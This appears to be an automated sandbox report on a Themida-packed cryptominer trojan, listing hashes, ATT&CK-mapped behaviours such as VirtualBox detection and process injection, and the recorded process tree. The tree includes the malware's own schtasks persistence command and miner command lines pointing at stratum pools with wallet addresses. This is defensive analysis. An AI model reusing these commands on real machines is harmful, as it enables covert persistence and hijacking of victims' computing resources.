4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324

Analysis

max time kernel
296s
max time network
295s
platform
windows10_x64
resource
win10-20220414-en
resource tags

arch:x64arch:x86image:win10-20220414-enlocale:en-usos:windows10-1703-x64system
submitted
07-08-2022 10:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe
Size

3.4MB
MD5

b67da452eabdb5202468322d11b07c01
SHA1

698f6779381714ec3c7d19840da6a679da918e84
SHA256

4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324
SHA512

2d4547769f16537ca5e9a9c1beba7ee7047594b1789a25223855a9f86fe1eafdf005d69c57b63f5ff65bbad12052226782e5d558323590057d4eac2f90091205

Score

9^/10

evasion miner themida trojan

Malware Config

Signatures

Detected Stratum cryptominer command 1 IoCs
Looks to be attempting to contact Stratum mining pool.
miner

Processes:

vbc.exe

pid process

1440 vbc.exe
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe
Executes dropped EXE 3 IoCs

Processes:

ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exeAZWZGASDYNOOA.exeAZWZGASDYNOOA.exe

pid process

2712 ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe
1212 AZWZGASDYNOOA.exe
1236 AZWZGASDYNOOA.exe

pid	process
1440	vbc.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe

pid	process
2712	ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe
1212	AZWZGASDYNOOA.exe
1236	AZWZGASDYNOOA.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/3152-161-0x0000000000F60000-0x0000000001586000-memory.dmp	themida
behavioral2/memory/3152-191-0x0000000000F60000-0x0000000001586000-memory.dmp	themida

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe

pid process

3152 4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

AZWZGASDYNOOA.exe

description	pid	process	target process
PID 1212 set thread context of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 set thread context of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2248 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2912 timeout.exe

pid	process
2248	schtasks.exe

pid	process
2912	timeout.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exeAZWZGASDYNOOA.exe

pid	process
3152	4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe
3152	4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe
1212	AZWZGASDYNOOA.exe
1212	AZWZGASDYNOOA.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exessfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exeAZWZGASDYNOOA.exe

description	pid	process
Token: SeDebugPrivilege	3152	4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe
Token: SeDebugPrivilege	2712	ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe
Token: SeDebugPrivilege	1212	AZWZGASDYNOOA.exe

Suspicious use of WriteProcessMemory 41 IoCs

Processes:

4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exessfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.execmd.exeAZWZGASDYNOOA.execmd.exevbc.exe

description	pid	process	target process
PID 3152 wrote to memory of 2712	3152	4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe	ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe
PID 3152 wrote to memory of 2712	3152	4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe	ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe
PID 2712 wrote to memory of 2660	2712	ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe	cmd.exe
PID 2712 wrote to memory of 2660	2712	ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe	cmd.exe
PID 2660 wrote to memory of 2912	2660	cmd.exe	timeout.exe
PID 2660 wrote to memory of 2912	2660	cmd.exe	timeout.exe
PID 2660 wrote to memory of 1212	2660	cmd.exe	AZWZGASDYNOOA.exe
PID 2660 wrote to memory of 1212	2660	cmd.exe	AZWZGASDYNOOA.exe
PID 1212 wrote to memory of 216	1212	AZWZGASDYNOOA.exe	cmd.exe
PID 1212 wrote to memory of 216	1212	AZWZGASDYNOOA.exe	cmd.exe
PID 216 wrote to memory of 2248	216	cmd.exe	schtasks.exe
PID 216 wrote to memory of 2248	216	cmd.exe	schtasks.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1440	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1440 wrote to memory of 1520	1440	vbc.exe	cmd.exe
PID 1440 wrote to memory of 1520	1440	vbc.exe	cmd.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe
PID 1212 wrote to memory of 1804	1212	AZWZGASDYNOOA.exe	vbc.exe

C:\Users\Admin\AppData\Local\Temp\4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe
"C:\Users\Admin\AppData\Local\Temp\4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3152

C:\Users\Admin\AppData\Roaming\ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe
"C:\Users\Admin\AppData\Roaming\ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2712

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA56C.tmp.bat""
3⤵
- Suspicious use of WriteProcessMemory
PID:2660

C:\Windows\system32\timeout.exe
timeout 3
4⤵
- Delays execution with timeout.exe
PID:2912

C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe
"C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AZWZGASDYNOOA" /tr "C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe"
5⤵
- Suspicious use of WriteProcessMemory
PID:216

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AZWZGASDYNOOA" /tr "C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe"
6⤵
- Creates scheduled task(s)
PID:2248

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RFiihDJ8WoynFyMePc1sP28nmxoLmatE9n.work -p x -t 4
5⤵
- Detected Stratum cryptominer command
- Suspicious use of WriteProcessMemory
PID:1440

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
6⤵
PID:1520

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe --pool stratum://0xd522E4e1279f59e64625757D66ba4Cbb20D6dC0C.WORKER@eu1.ethermine.org:4444 --cinit-max-gpu=80
5⤵
PID:1804

C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe
C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe
1⤵
- Executes dropped EXE
PID:1236

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

T1064

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe
Filesize
845KB

MD5
93b40ed9ef66ae2c72c9b29cfde49a9a

SHA1
90f356d379e9003ec9fba486f87b06e12ace89bc

SHA256
7cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813

SHA512
d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00

Download Submit
C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe
Filesize
845KB

MD5
93b40ed9ef66ae2c72c9b29cfde49a9a

SHA1
90f356d379e9003ec9fba486f87b06e12ace89bc

SHA256
7cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813

SHA512
d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00

Download Submit
C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe
Filesize
845KB

MD5
93b40ed9ef66ae2c72c9b29cfde49a9a

SHA1
90f356d379e9003ec9fba486f87b06e12ace89bc

SHA256
7cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813

SHA512
d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA56C.tmp.bat
Filesize
153B

MD5
13e4c804c70c55bf5879290d8ebf3518

SHA1
b43dbbf0ffe7597902a29a0594e2a7563c3b0fcf

SHA256
733c50aa06ce7d16e31ae09ac10a2084ae6d5763350dc44de647ce340463e421

SHA512
8df953c3798ad717da8e5012fcca6e561cd577dfdd7ae8af0a5bde97b355c9d69bf7c350fd33482cba99606f135b133d4d1819336784d0cd377779d009ab6996

Download Submit
C:\Users\Admin\AppData\Roaming\ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe
Filesize
845KB

MD5
93b40ed9ef66ae2c72c9b29cfde49a9a

SHA1
90f356d379e9003ec9fba486f87b06e12ace89bc

SHA256
7cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813

SHA512
d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00

Download Submit
C:\Users\Admin\AppData\Roaming\ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe
Filesize
845KB

MD5
93b40ed9ef66ae2c72c9b29cfde49a9a

SHA1
90f356d379e9003ec9fba486f87b06e12ace89bc

SHA256
7cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813

SHA512
d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00

Download Submit
memory/216-198-0x0000000000000000-mapping.dmp

Download
memory/1212-195-0x0000000000000000-mapping.dmp

Download
memory/1440-205-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1440-201-0x000000014006EE80-mapping.dmp

Download
memory/1440-206-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1520-204-0x0000000000000000-mapping.dmp

Download
memory/1804-208-0x000000014025502C-mapping.dmp

Download
memory/2248-199-0x0000000000000000-mapping.dmp

Download
memory/2660-192-0x0000000000000000-mapping.dmp

Download
memory/2712-189-0x00000000009A0000-0x0000000000A78000-memory.dmp

Filesize
864KB

Download
memory/2712-184-0x0000000000000000-mapping.dmp

Download
memory/2912-194-0x0000000000000000-mapping.dmp

Download
memory/3152-156-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-165-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-133-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-134-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-135-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-137-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-136-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-138-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-139-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-140-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-141-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-142-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-143-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-144-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-145-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-146-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-147-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-148-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-149-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-150-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-151-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-152-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-154-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-155-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-131-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-157-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-158-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-159-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-160-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-161-0x0000000000F60000-0x0000000001586000-memory.dmp

Filesize
6.1MB

Download
memory/3152-162-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-163-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-164-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-132-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-166-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-167-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-168-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-169-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-170-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-171-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-172-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-173-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-174-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-175-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-176-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-177-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-178-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-179-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-180-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-181-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-182-0x0000000000F60000-0x0000000001586000-memory.dmp

Filesize
6.1MB

Download
memory/3152-183-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-188-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-186-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-130-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-129-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-128-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-127-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-126-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-125-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-124-0x0000000000F60000-0x0000000001586000-memory.dmp

Filesize
6.1MB

Download
memory/3152-123-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-122-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-121-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-120-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-119-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-118-0x0000000077230000-0x00000000773BE000-memory.dmp

Filesize
1.6MB

Download
memory/3152-191-0x0000000000F60000-0x0000000001586000-memory.dmp

Filesize
6.1MB

Download